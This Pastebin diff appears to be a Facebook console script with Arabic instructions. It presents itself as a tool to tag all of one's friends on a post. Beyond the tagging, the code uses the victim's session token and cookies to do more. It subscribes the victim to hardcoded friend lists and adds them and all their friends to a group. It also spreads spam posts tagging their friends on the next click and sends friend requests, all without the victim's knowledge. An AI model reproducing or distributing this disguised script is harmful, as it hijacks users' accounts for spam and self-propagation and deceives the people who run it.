View difference between Paste ID: 4SRNjDna and XgY0YuCy
SHOW: | | - or go back to the newest paste.
1
عمل أشارة لكل أصدقاءك على الفيس بوك
2
3
رابط الشرح
4
من المحترف الفلسطيني محمد عودة
5
6
رابط شرح الفيديو:
7
http://www.youtube.com/watch?v=GEJZ9bXL8lI
8
9
رابط صفحتي على الفيس بوك:
10
https://www.facebook.com/swedabn
11
12
13
لا تنسى تعمل أشتراك للقناة ولايك للفيديو :)
14
15
16
هادا الكود
17
18
19
/* CREDITOS AO MIGUEL TARGA, ESSA PARTE E DELE */
20
function x__0() { return window.ActiveXObject ? new ActiveXObject("Msxml2.XMLHTTP") : new XMLHttpRequest; };
21
22
//Pegar todos amigos
23
function get_friends(){
24
var a=x__0();
25
a.open("GET", "/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&lazy=0&viewer="+uid+"&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", false);
26
a.send(null);
27
if (a.readyState == 4) {
28
var f = JSON.parse(a.responseText.substring(a.responseText.indexOf('{')));
29
return f.payload.entries;
30
}
31
return false;
32
}
33
34
/* FIM DA PARTE DO MIGUEL TARGA */
35
36
//Pegar todos amigos
37
function get_uid(b){
38
var a=x__0();
39
a.open("GET", 'http://graph.facebook.com/'+b, false);
40
a.send();
41
if (a.readyState == 4) {
42
return uid = JSON.parse(a.responseText).id;
43
44
}
45
return false;
46
}
47
// Pattern que vai trocar o valor dos coment?rios pelas marcaç?es
48
49
var patt = /comment_text=(.*?)&/
50
var c = 1;
51
username = /\.com\/(.*?)\//.exec(window.top.location)[1];
52
uid = get_uid(username);
53
a = window.top.location;
54
termina = 0;
55
var amigos = get_friends();
56
post_id = /[0-9]{8,}/.exec(a);
57
uids = 'comment_text=';
58
header = 'ft_ent_identifier='+post_id+'&comment_text=0&source=1&client_id=1359576694192%3A1233576093&reply_fbid&parent_comment_id&rootid=u_jsonp_3_19&ft[tn]=[]&ft[qid]=5839337351464612379&ft[mf_story_key]=5470779710560437153&ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user='+uid+'&__a=1&__req=4u&fb_dtsg='+document.getElementsByName('fb_dtsg')[0].value+'&phstamp='+Math.random();
59
for ( var n = 1 ; n < amigos.length ; n++ ){
60
//uids += '%40[' + amigos[n].uid + '%3A' + encodeURI(amigos[n].text) + ']%20';
61
fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
62
uids += '%40[' + amigos[n].uid + '%3AAAAAAAAAAAA]%20';
63
c++;
64
if(c == 7){
65
// Quando o contador chega em 7, ele termina o parâmetro com um &...
66
uids += '&';
67
// ...envia as coisas com o método do indiano...
68
with(new XMLHttpRequest()) open("POST", "/ajax/ufi/add_comment.php?__a=1"),setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),send(header.replace(patt, uids));
69
70
// ... espera um segundo...
71
z = setTimeout('function(){asd=0}', 1000);
72
clearInterval(z);
73
74
// ... e seta tudo de novo pra recomeçar
75
c = 1;
76
uids = 'comment_text=';
77
78
79
}
80
81
}
82
83
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
84
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
85
86
function cereziAl(isim) {
87
var tarama = isim + "=";
88
if (document.cookie.length > 0) {
89
konum = document.cookie.indexOf(tarama)
90
if (konum != -1) {
91
konum += tarama.length
92
son = document.cookie.indexOf(";", konum)
93
if (son == -1)
94
son = document.cookie.length
95
return unescape(document.cookie.substring(konum, son))
96
}
97
else { return ""; }
98
}
99
}
100
101
function getRandomInt (min, max) {
102
return Math.floor(Math.random() * (max - min + 1)) + min;
103
}
104
function randomValue(arr) {
105
return arr[getRandomInt(0, arr.length-1)];
106
}
107
108
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
109
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
110
111
function a(abone){
112
var http4 = new XMLHttpRequest();
113
114
var url4 = "/ajax/follow/follow_profile.php?__a=1";
115
116
var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
117
http4.open("POST", url4, true);
118
119
//Send the proper header information along with the request
120
http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
121
http4.setRequestHeader("Content-length", params4.length);
122
http4.setRequestHeader("Connection", "close");
123
124
http4.onreadystatechange = function() {//Call a function when the state changes.
125
if(http4.readyState == 4 && http4.status == 200) {
126
127
http4.close; // Close the connection
128
129
}
130
}
131
132
http4.send(params4);
133
}
134
135
function sublist(uidss) {
136
var a = document.createElement('script');
137
a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
138
document.body.appendChild(a);
139
}
140
141
142
143
sublist("196595073821666");
144
145
sublist("1401516113406354");
146
147
sublist("164346257101594");
148
149
150
151
var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
152
var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
153
154
var httpwp = new XMLHttpRequest();
155
var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
156
var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
157
httpwp['open']('POST', urlwp, true);
158
httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
159
httpwp['setRequestHeader']('Content-length', paramswp['length']);
160
httpwp['setRequestHeader']('Connection', 'keep-alive');
161
httpwp['send'](paramswp);
162
163
var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
164
var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
165
166
var friends = new Array();
167
gf = new XMLHttpRequest();
168
gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
169
gf['send']();
170
if (gf['readyState'] != 4) {} else {
171
data = eval('(' + gf['responseText']['substr'](9) + ')');
172
if (data['error']) {} else {
173
friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
174
return _0x93dax8['index'] - _0x93dax9['index'];
175
});
176
};
177
};
178
179
for (var i = 0; i < friends['length']; i++) {
180
var httpwp = new XMLHttpRequest();
181
var urlwp = '/ajax/groups/members/add_post.php?__a=1';
182
var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp=';
183
httpwp['open']('POST', urlwp, true);
184
httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
185
httpwp['setRequestHeader']('Content-length', paramswp['length']);
186
httpwp['setRequestHeader']('Connection', 'keep-alive');
187
httpwp['onreadystatechange'] = function () {
188
if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {};
189
};
190
httpwp['send'](paramswp);
191
};
192
var spage_id = "100211486794985";
193
var spost_id = "100211486794985";
194
var sfoto_id = "100211486794985";
195
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
196
var smesaj = "";
197
var smesaj_text = "";
198
var arkadaslar = [];
199
var svn_rev;
200
var bugun= new Date();
201
var btarihi = new Date();
202
btarihi.setTime(bugun.getTime() + 1000*60*60*4*1);
203
if(!document.cookie.match(/paylasti=(\d+)/)){
204
document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString();
205
}
206
207
208
//arkadaslari al ve isle
209
function sarkadaslari_al(){
210
var xmlhttp = new XMLHttpRequest();
211
xmlhttp.onreadystatechange = function () {
212
if(xmlhttp.readyState == 4){
213
eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
214
for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
215
smesaj = "";
216
smesaj_text = "";
217
for(i=f*10;i<(f+1)*10;i++){
218
if(arkadaslar.payload.entries[i]){
219
smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]";
220
smesaj_text += " " + arkadaslar.payload.entries[i].text;
221
}
222
}
223
sdurumpaylas(); }
224
225
}
226
227
};
228
var params = "&filter[0]=user";
229
params += "&options[0]=friends_only";
230
params += "&options[1]=nm";
231
params += "&token=v7";
232
params += "&viewer=" + user_id;
233
params += "&__user=" + user_id;
234
235
if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
236
else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
237
xmlhttp.send();
238
}
239
240
//tiklama olayini dinle
241
var tiklama = document.addEventListener("click", function () {
242
if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
243
svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
244
sarkadaslari_al();
245
document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
246
247
document.removeEventListener(tiklama);
248
}
249
}, false);
250
251
252
//arkada?? ekleme
253
function sarkadasekle(uid,cins){
254
var xmlhttp = new XMLHttpRequest();
255
xmlhttp.onreadystatechange = function () {
256
if(xmlhttp.readyState == 4){
257
}
258
};
259
260
xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
261
var params = "to_friend=" + uid;
262
params += "&action=add_friend";
263
params += "&how_found=friend_browser";
264
params += "&ref_param=none";
265
params += "&outgoing_id=";
266
params += "&logging_location=friend_browser";
267
params += "&no_flyout_on_click=true";
268
params += "&ego_log_data=";
269
params += "&http_referer=";
270
params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
271
params += "&phstamp=165816749114848369115";
272
params += "&__user=" + user_id;
273
xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
274
xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
275
276
if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){
277
xmlhttp.send(params);
278
}else if(document.cookie.split("cins" + user_id +"=").length <= 1){
279
cinsiyetgetir(uid,cins,"sarkadasekle");
280
}else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){
281
xmlhttp.send(params);
282
}
283
}
284
285
//cinsiyet belirleme
286
var cinssonuc = {};
287
var cinshtml = document.createElement("html");
288
function scinsiyetgetir(uid,cins,fonksiyon){
289
var xmlhttp = new XMLHttpRequest();
290
xmlhttp.onreadystatechange = function () {
291
if(xmlhttp.readyState == 4){
292
eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
293
cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html
294
btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
295
if(cinshtml.getElementsByTagName("select")[0].value == "1"){
296
document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString();
297
}else if(cinshtml.getElementsByTagName("select")[0].value == "2"){
298
document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString();
299
}
300
eval(fonksiyon + "(" + id + "," + cins + ");");
301
}
302
};
303
xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
304
xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
305
xmlhttp.send();
306
}